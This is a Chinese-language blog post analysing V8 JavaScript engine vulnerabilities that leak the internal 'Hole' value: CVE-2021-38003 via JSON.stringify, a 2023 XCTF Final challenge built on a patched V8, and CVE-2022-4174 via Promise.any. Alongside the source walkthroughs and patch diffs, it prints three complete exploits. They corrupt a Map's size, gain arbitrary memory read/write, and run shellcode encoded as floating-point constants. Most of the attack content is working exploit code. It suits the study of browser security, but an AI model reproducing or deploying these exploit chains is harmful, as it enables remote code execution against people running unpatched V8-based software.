CVE-2021-38003 的 POC 如下,按照 POC 中调用 JSON.stringify 后的执行情况介绍 JSON.stringify 函数的具体流程。

function trigger() {
    let a = [], b = [];
    let s = '"'.repeat(0x800000);
    a[20000] = s;
    for (let i = 0; i < 10; i++) a[i] = s;
    for (let i = 0; i < 10; i++) b[i] = a;

    try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

let hole = trigger();
console.log(hole);
%DebugPrint(hole);

JSON.stringify() 在 V8 中的接口如下:

MaybeHandle<Object> JsonStringifier::Stringify(Handle<Object> object,
                                               Handle<Object> replacer,
                                               Handle<Object> gap) {
  if (!InitializeReplacer(replacer)) return MaybeHandle<Object>();
  if (!gap->IsUndefined(isolate_) && !InitializeGap(gap)) {
    return MaybeHandle<Object>();
  }
  Result result = SerializeObject(object);
  if (result == UNCHANGED) return factory()->undefined_value();
  if (result == SUCCESS) return builder_.Finish();
  DCHECK(result == EXCEPTION);
  return MaybeHandle<Object>();
}

可以看到 Stringify 在初始化完 replacergap 之后会调用核心函数 SerializeObject 之后对返回值进行检查,如果返回值为 EXCEPTION 说明触发异常。

SerializeObject 函数实际是调用 Serialize_ 函数。

  // Entry point to serialize the object.
  V8_INLINE Result SerializeObject(Handle<Object> obj) {
    return Serialize_<false>(obj, false, factory()->empty_string());
  }

Serialize_ 函数中是一个很大的 switch ,对于 obj 中的元素的类型调用不同的序列化方法。根据 POC 的情况,这里调用 SerializeJSArray 函数。

template <bool deferred_string_key>
JsonStringifier::Result JsonStringifier::Serialize_(Handle<Object> object,
                                                    bool comma,
                                                    Handle<Object> key) { 
  ...
  switch (HeapObject::cast(*object).map().instance_type()) {
    ...
    case JS_ARRAY_TYPE:
      if (deferred_string_key) SerializeDeferredKey(comma, key);
      return SerializeJSArray(Handle<JSArray>::cast(object), key);
    ...
  }
}

SerializeJSArray 函数的相关内容如下。在 POC 中数组 b 的每个元素均是数组 a,其类型是 PACKED_ELEMENTS 因此会调用 SerializeElement 处理,而 SerializeElement 会调用 Serialize_ 递归进行处理。

  // Serialize an array element.
  // The index may serve as argument for the toJSON function.
  V8_INLINE Result SerializeElement(Isolate* isolate, Handle<Object> object,
                                    int i) {
    return Serialize_<false>(object, false,
                             Handle<Object>(Smi::FromInt(i), isolate));
  }

JsonStringifier::Result JsonStringifier::SerializeJSArray(
    Handle<JSArray> object, Handle<Object> key) {
  HandleScope handle_scope(isolate_);
  Result stack_push = StackPush(object, key);
  if (stack_push != SUCCESS) return stack_push;
  uint32_t length = 0;
  CHECK(object->length().ToArrayLength(&length));
  DCHECK(!object->IsAccessCheckNeeded());
  builder_.AppendCharacter('[');
  Indent();
  uint32_t i = 0;
  if (replacer_function_.is_null()) {
    switch (object->GetElementsKind()) {
      ...
      case PACKED_ELEMENTS: {
        Handle<Object> old_length(object->length(), isolate_);
        while (i < length) {
          if (object->length() != *old_length ||
              object->GetElementsKind() != PACKED_ELEMENTS) {
            // Fall back to slow path.
            break;
          }
          Separator(i == 0);
          Result result = SerializeElement(
              isolate_,
              Handle<Object>(FixedArray::cast(object->elements()).get(i),
                             isolate_),
              i);
          if (result == UNCHANGED) {
            builder_.AppendCString("null");
          } else if (result != SUCCESS) {
            return result;
          }
          i++;
        }
        break;
      }
      // The FAST_HOLEY_* cases could be handled in a faster way. They resemble
      // the non-holey cases except that a lookup is necessary for holes.
      default:
        break;
    }
  }
  if (i < length) {
    // Slow path for non-fast elements and fall-back in edge case.
    Result result = SerializeArrayLikeSlow(object, i, length);
    if (result != SUCCESS) return result;
  }
  Unindent();
  if (length > 0) NewLine();
  builder_.AppendCharacter(']');
  StackPop();
  return SUCCESS;
}

数组 a 的成元是基本类型字符串,所以在 SerializeJSArray 方法不会再进入递归,而是调用 SerializeArrayLikeSlow 进行下一步操作

JsonStringifier::Result JsonStringifier::SerializeArrayLikeSlow(
    Handle<JSReceiver> object, uint32_t start, uint32_t length) {
  // We need to write out at least two characters per array element.
  static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
  if (length > kMaxSerializableArrayLength) {
    isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
    return EXCEPTION;
  }
  for (uint32_t i = start; i < length; i++) {
    Separator(i == 0);
    Handle<Object> element;
    ASSIGN_RETURN_ON_EXCEPTION_VALUE(
        isolate_, element, JSReceiver::GetElement(isolate_, object, i),
        EXCEPTION);
    Result result = SerializeElement(isolate_, element, i);
    if (result == SUCCESS) continue;
    if (result == UNCHANGED) {
      // Detect overflow sooner for large sparse arrays.
      if (builder_.HasOverflowed()) return EXCEPTION;
      builder_.AppendCString("null");
    } else {
      return result;
    }
  }
  return SUCCESS;
}

这里调用的 SerializeElement 会再次调用 Serialize_ 只不过由于这次传入的是字符串,因此会调用 SerializeString 并最终调用 SerializeString_

void JsonStringifier::SerializeString(Handle<String> object) {
  object = String::Flatten(isolate_, object);
  if (builder_.CurrentEncoding() == String::ONE_BYTE_ENCODING) {
    if (String::IsOneByteRepresentationUnderneath(*object)) {
      SerializeString_<uint8_t, uint8_t>(object);
    } else {
      builder_.ChangeEncoding();
      SerializeString(object);
    }
  } else {
    if (String::IsOneByteRepresentationUnderneath(*object)) {
      SerializeString_<uint8_t, base::uc16>(object);
    } else {
      SerializeString_<base::uc16, base::uc16>(object);
    }
  }
}

    default:
      if (object->IsString()) {
        if (deferred_string_key) SerializeDeferredKey(comma, key);
        SerializeString(Handle<String>::cast(object));
        return SUCCESS;
      }

SerializeString_ 本质就是把字符 Appendbuilder_ 中。

template <typename SrcChar, typename DestChar>
void JsonStringifier::SerializeString_(Handle<String> string) {
    ...
    for (int i = 0; i < reader.length(); i++) {
      SrcChar c = reader.Get<SrcChar>(i);
      if (DoNotEscape(c)) {
        builder_.Append<SrcChar, DestChar>(c);
      } 
    ...
  builder_.Append<uint8_t, DestChar>('"');
}

通过分析源码发现,整个序列化过程中一直利用 builder_ 作为结果的存储容器,而这个容器最核心的功能就是 Append

Append 时如果长度达到 part_length_ 则会调用 Extend 扩展容器长度。

template <typename SrcChar, typename DestChar>
void IncrementalStringBuilder::Append(SrcChar c) {
  DCHECK_EQ(encoding_ == String::ONE_BYTE_ENCODING, sizeof(DestChar) == 1);
  if (sizeof(DestChar) == 1) {
    DCHECK_EQ(String::ONE_BYTE_ENCODING, encoding_);
    SeqOneByteString::cast(*current_part_)
        .SeqOneByteStringSet(current_index_++, c);
  } else {
    DCHECK_EQ(String::TWO_BYTE_ENCODING, encoding_);
    SeqTwoByteString::cast(*current_part_)
        .SeqTwoByteStringSet(current_index_++, c);
  }
  if (current_index_ == part_length_) Extend();
}

而在 Extend 中会调用 Accumulate 检查扩展后的长度是否超过 kMaxLength 即 0x1fffffe8 ,如果超过会设置 overflowed_ 为 true 标记溢出。

void IncrementalStringBuilder::Accumulate(Handle<String> new_part) {
  Handle<String> new_accumulator;
  if (accumulator()->length() + new_part->length() > String::kMaxLength) {
    // Set the flag and carry on. Delay throwing the exception till the end.
    new_accumulator = factory()->empty_string();
    overflowed_ = true;
  } else {
    new_accumulator =
        factory()->NewConsString(accumulator(), new_part).ToHandleChecked();
  }
  set_accumulator(new_accumulator);
}

void IncrementalStringBuilder::Extend() {
  DCHECK_EQ(current_index_, current_part()->length());
  Accumulate(current_part());
  ...
}

而前面的 SerializeArrayLikeSlow 会根据 overflowed_ 标记判断发生溢出并返回异常。

V8_INLINE bool HasOverflowed() const { return overflowed_; }

if (builder_.HasOverflowed()) return EXCEPTION;

然而根据前面的分析我们发现,只要结果不是 SUCCESS 基本都是直接返回的,没有设置 pending_exception 这一操作。

比如像 SerializeArrayLikeSlow 在出现异常时都会调用 ThrowInternal 设置 pending_exception ,如果没有设置 pending_exception 在用户的 JS 代码中会将 pending_exception 的默认值 Hole catch 出来,这就是漏洞的成因。

Object Isolate::ThrowInternal(Object raw_exception, MessageLocation* location) {
  ...
  // Set the exception being thrown.
  set_pending_exception(*exception);
  return ReadOnlyRoots(heap()).exception();
}

Object Throw(Object exception) { return ThrowInternal(exception, nullptr); }

JsonStringifier::Result JsonStringifier::SerializeArrayLikeSlow(
    Handle<JSReceiver> object, uint32_t start, uint32_t length) {
  // We need to write out at least two characters per array element.
  static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
  if (length > kMaxSerializableArrayLength) {
    isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
    return EXCEPTION;
  }
  ...
}

具体利用手法在 Hole 已经介绍过了,exp 如下:

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

function trigger() {
    let a = [], b = [];
    let s = '"'.repeat(0x800000);
    a[20000] = s;
    for (let i = 0; i < 10; i++) a[i] = s;
    for (let i = 0; i < 10; i++) b[i] = a;

    try {
        JSON.stringify(b);
    } catch (hole) {
        return hole;
    }
    throw new Error('could not trigger');
}

function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}

let hole = trigger();
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x15, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);

var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[14]);
console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFFn));


function offset_of(obj) {
    oob_array[2] = u2d(object_array_map);
    object_array[0] = obj;
    oob_array[2] = u2d(double_array_map << 32n);
    return d2u(object_array[0]) & 0xFFFFFFFFn;
}

function read(offset) {
    oob_array[22] = u2d(((offset - 8n) | 1n) | (d2u(oob_array[22]) << 32n));
    return d2u(rw_array[0]);
}

function write(offset, value) {
    oob_array[22] = u2d(((offset - 8n) | 1n) | (d2u(oob_array[22]) << 32n));
    rw_array[0] = u2d(value);
}

var code_offset = read(offset_of(shellcode) + 0x18n) & 0xFFFFFFFFn;
console.log("[*] code offset: " + hex(code_offset));

code_offset += 0x68n;
write(offset_of(shellcode) + 0x18n, code_offset);

shellcode();

例题:2023XCTF Final Hole

附件下载链接

git reset --hard 247b33e9218a9345f0073f45b967530b38153272 
gclient sync
git apply diff
tools/dev/gm.py x64.release

观察 patch 文件,首先发现对 JSMapHole 检查被 patch 掉了,因此可以考虑将 Hole 泄露出来然后借助 JSMap 进行 Hole 利用。

diff --git a/src/builtins/builtins-collections-gen.cc b/src/builtins/builtins-collections-gen.cc
index f6238e3072..17821d3124 100644
--- a/src/builtins/builtins-collections-gen.cc
+++ b/src/builtins/builtins-collections-gen.cc
@@ -1765,7 +1765,7 @@ TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
                          "Map.prototype.delete");
 
   // This check breaks a known exploitation technique. See crbug.com/1263462
-  CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
+  // CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
 
   const TNode<OrderedHashMap> table =
       LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);

然后就是 original_map.UnusedPropertyFields() 的判断处加了一个 times 条件 。

diff --git a/src/compiler/js-native-context-specialization.cc b/src/compiler/js-native-context-specialization.cc
index 39302152ed..3193065d7d 100644
--- a/src/compiler/js-native-context-specialization.cc
+++ b/src/compiler/js-native-context-specialization.cc
@@ -29,13 +29,12 @@
 #include "src/objects/feedback-vector.h"
 #include "src/objects/heap-number.h"
 #include "src/objects/string.h"
-
+int times=1;
 namespace v8 {
 namespace internal {
 namespace compiler {
 
 namespace {
-
 bool HasNumberMaps(JSHeapBroker* broker, ZoneVector<MapRef> const& maps) {
   for (MapRef map : maps) {
     if (map.IsHeapNumberMap()) return true;
@@ -2812,7 +2811,7 @@ JSNativeContextSpecialization::BuildPropertyStore(
       // with this transitioning store.
       MapRef transition_map_ref = transition_map.value();
       MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
-      if (original_map.UnusedPropertyFields() == 0) {
+      if (original_map.UnusedPropertyFields() == 0 && times--==0) {
         DCHECK(!field_index.is_inobject());
 
         // Reallocate the properties {storage}.

通过调试观察 JSObjectMap 发现 unused property fields 是用于记录存储 propertiesPropertyArray 还有多少空闲位置。

结合对代码上下文的分析,发现这里的逻辑是在为 JSObject 添加新的属性时如果 unused property fields 为 0 则申请一个新的 PropertyArray 来存储 properties 。这里修改判断 unused property fields 为 0 的条件可能会造成 PropertyArray 越界。

要注意的是这个代码是在 JIT 的时候执行的。

    // Check if we need to perform a transitioning store.
    base::Optional<MapRef> transition_map = access_info.transition_map();
    if (transition_map.has_value()) {
      // Check if we need to grow the properties backing store
      // with this transitioning store.
      MapRef transition_map_ref = transition_map.value();
      MapRef original_map = transition_map_ref.GetBackPointer().AsMap();
      if (original_map.UnusedPropertyFields() == 0 && times--==0) {
        DCHECK(!field_index.is_inobject());

        // Reallocate the properties {storage}.
        storage = effect = BuildExtendPropertiesBackingStore(
            original_map, storage, effect, control);

        // Perform the actual store.
        effect = graph()->NewNode(simplified()->StoreField(field_access),
                                  storage, value, effect, control);

        // Atomically switch to the new properties below.
        field_access = AccessBuilder::ForJSObjectPropertiesOrHashKnownPointer();
        value = storage;
        storage = receiver;
      }
      effect = graph()->NewNode(
          common()->BeginRegion(RegionObservability::kObservable), effect);
      effect = graph()->NewNode(
          simplified()->StoreField(AccessBuilder::ForMap()), receiver,
          jsgraph()->Constant(transition_map_ref), effect, control);
      effect = graph()->NewNode(simplified()->StoreField(field_access), storage,
                                value, effect, control);
      effect = graph()->NewNode(common()->FinishRegion(),
                                jsgraph()->UndefinedConstant(), effect);
    }

因此有如下 POC :

function trigger(obj) {
    obj.b1 = 1;
    obj.b2 = 2;
    obj.b3 = 3;
}

function get_hole() {
    for (let i = 0; i < 0x20000; i++) {
        var obj = { sky: 123 };
        obj.a2 = 1;
        obj.a3 = 2;
        obj.a4 = 3;
        trigger(obj); 
        hole_array = [, undefined];
    }
    // % DebugPrint(obj);
    // % SystemBreak();
    return obj.b3;
}

调试发现,由于 trigger 函数优化后在对 unused property fields 的检查上存在漏洞,导致 PropertyArray 越界可以越界读到 hole_array 上将 Hole 泄露出来。
在这里插入图片描述
这里要注意的是 hole_array 必须不声明直接赋值,否则不会和 PropertyArray 重叠。

Hole 泄露出来后的利用就很常规了。exp 如下:

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

function trigger(obj) {
    obj.b1 = 1;
    obj.b2 = 2;
    obj.b3 = 3;
}

function get_hole() {
    for (let i = 0; i < 0x20000; i++) {
        var obj = { sky: 123 };
        obj.a2 = 1;
        obj.a3 = 2;
        obj.a4 = 3;
        trigger(obj); 
        hole_array = [, undefined];
    }
    // % DebugPrint(obj);
    // % SystemBreak();
    return obj.b3;
}

function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}


let hole = get_hole();
console.log(hole);
for (let i = 0; i < 0x40000; i++) {
    shellcode();
}
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x15, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);

var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[13]);

console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map >> 32n));


function offset_of(obj) {
    oob_array[2] = u2d(object_array_map);
    object_array[0] = obj;
    oob_array[2] = u2d(double_array_map);
    return d2u(object_array[0]) & 0xFFFFFFFFn;
}


function read(offset) {
    oob_array[21] = u2d((((offset - 8n) | 1n) << 32n) | (d2u(oob_array[21]) & 0xFFFFFFFFn));
    return d2u(rw_array[0]);
}

function write(offset, value) {
    oob_array[21] = u2d((((offset - 8n) | 1n) << 32n) | (d2u(oob_array[21]) & 0xFFFFFFFFn));
    rw_array[0] = u2d(value);
}

var shellcode_offset = offset_of(shellcode);
var leak_offset = (read(shellcode_offset + 0x18n) & 0xFFFFFFFFn) + 0x10n;
var leak_data = read(leak_offset);
var code = leak_data >> 32n;
var code_entry_point = leak_data & 0xFFFFFFFFn;

write(leak_offset, (code << 32n) | (code_entry_point + 0x68n));
print("[*] leak offset: " + hex(leak_offset));

shellcode();

CVE-2022-4174

附件下载链接
环境搭建如下:

git checkout 9.7.106.19
gclient sync
tools/dev/gm.py x64.release

数组 errors 长度总是设置比所需长度长,而多出来的那个部分的值设为 Hole 。这个数组泄露给用户也就把 Hole 泄露给用户。

  // 9. Set errors[index] to x.
  const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);
  if (newCapacity > errors.length_intptr) deferred {
      errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
      *ContextSlot(
          context,
          PromiseAnyRejectElementContextSlots::
              kPromiseAnyRejectElementErrorsSlot) = errors;
    }
  errors.objects[index] = value;

因此有如下 poc:

function trigger() {
    let v1;
    function f0(v4) {
        v4(() => { }, v5 => { v1 = v5.errors; });
    }
    f0.resolve = (v6) => { return v6; };
    let v3 = {
        then(v7, v8) {
            v8();
        }
    };
    Promise.any.call(f0, [v3]);
    return v1[1];
}

该 POC 的过程为:

  • 通过调用 Promise.any.call(f0, [v3]) ,使用 Promise.any 方法来执行异步操作。
  • 执行函数 f0 ,参数为 v4 类型未知。
  • 执行 f0.resolve 函数,参数 v6v3
  • 执行 then 函数,then 函数第一个参数为 v4 第一个参数,第二个参数未知,但随即会调用 v5 函数。
  • 执行 v5 函数,取出 v5errors 数组赋值给变量 v1

exp 如下:

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
    data_view.setFloat64(0, value);
    return data_view.getBigUint64(0);
}

function u2d(value) {
    data_view.setBigUint64(0, value);
    return data_view.getFloat64(0);
}

function hex(val) {
    return '0x' + val.toString(16).padStart(16, "0");
}

function shellcode() {
    return [
        1.930800574428816e-246,
        1.9710610293119303e-246,
        1.9580046981136086e-246,
        1.9533830734556562e-246,
        1.961642575273437e-246,
        1.9399842868403466e-246,
        1.9627709291878714e-246,
        1.9711826272864685e-246,
        1.9954775598492772e-246,
        2.000505685241573e-246,
        1.9535148279508375e-246,
        1.9895153917617124e-246,
        1.9539853963090317e-246,
        1.9479373016495106e-246,
        1.97118242283721e-246,
        1.95323825426926e-246,
        1.99113905582155e-246,
        1.9940808572858186e-246,
        1.9537941682504095e-246,
        1.930800151635891e-246,
        1.932214185322047e-246
    ];
}

for (let i = 0; i < 0x40000; i++) {
    shellcode();
}

function trigger() {
    let v1;
    function f0(v4) {
        v4(() => { }, v5 => { v1 = v5.errors; });
    }
    f0.resolve = (v6) => { return v6; };
    let v3 = {
        then(v7, v8) {
            v8();
        }
    };
    Promise.any.call(f0, [v3]);
    return v1[1];
}

let hole = trigger();
console.log(hole);

var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
console.log(map.size); // -1
map.set(0x16, -1);
var oob_array = [.1];
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
map.set(0x303, 0);

var object_array_map = d2u(oob_array[2]);
var double_array_map = d2u(oob_array[14]);

console.log("[*] object array map: " + hex(object_array_map >> 32n));
console.log("[*] double array map: " + hex(double_array_map & 0xFFFFFFFn));

function offset_of(obj) {
    oob_array[2] = u2d(object_array_map);
    object_array[0] = obj;
    oob_array[2] = u2d(double_array_map << 32n);
    return d2u(object_array[0]) & 0xFFFFFFFFn;
}

function read(offset) {
    oob_array[22] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[22]) & 0xFFFFFFFF00000000n));
    return d2u(rw_array[0]);
}

function write(offset, value) {
    oob_array[22] = u2d((((offset - 8n) | 1n)) | (d2u(oob_array[22]) & 0xFFFFFFFF00000000n));
    rw_array[0] = u2d(value);
}

var code_offset = read(offset_of(shellcode) + 0x18n) & 0xFFFFFFFFn;
console.log("[*] code offset: " + hex(code_offset));

code_offset += 0x68n;
write(offset_of(shellcode) + 0x18n, code_offset);

shellcode();

该漏洞修复补丁如下:

diff --git a/src/builtins/promise-any.tq b/src/builtins/promise-any.tq
index ffb285a..7e707e6 100644
--- a/src/builtins/promise-any.tq
+++ b/src/builtins/promise-any.tq
@@ -119,7 +119,19 @@
           kPromiseAnyRejectElementRemainingSlot);
 
   // 9. Set errors[index] to x.
-  const newCapacity = IntPtrMax(SmiUntag(remainingElementsCount), index + 1);
+
+  // The max computation below is an optimization to avoid excessive allocations
+  // in the case of input promises being asynchronously rejected in ascending
+  // index order.
+  //
+  // Note that subtracting 1 from remainingElementsCount is intentional. The
+  // value of remainingElementsCount is 1 larger than the actual value during
+  // iteration. So in the case of synchronous rejection, newCapacity is the
+  // correct size by subtracting 1. In the case of asynchronous rejection this
+  // is 1 smaller than the correct size, but is not incorrect as it is maxed
+  // with index + 1.
+  const newCapacity =
+      IntPtrMax(SmiUntag(remainingElementsCount) - 1, index + 1);
   if (newCapacity > errors.length_intptr) deferred {
       errors = ExtractFixedArray(errors, 0, errors.length_intptr, newCapacity);
       *ContextSlot(
@@ -306,6 +318,7 @@
           PromiseAnyRejectElementContextSlots::
               kPromiseAnyRejectElementErrorsSlot);
 
+      check(errors.length == index - 1);
       const error = ConstructAggregateError(errors);
       // 3. Return ThrowCompletion(error).
       goto Reject(error);
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_sky123_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值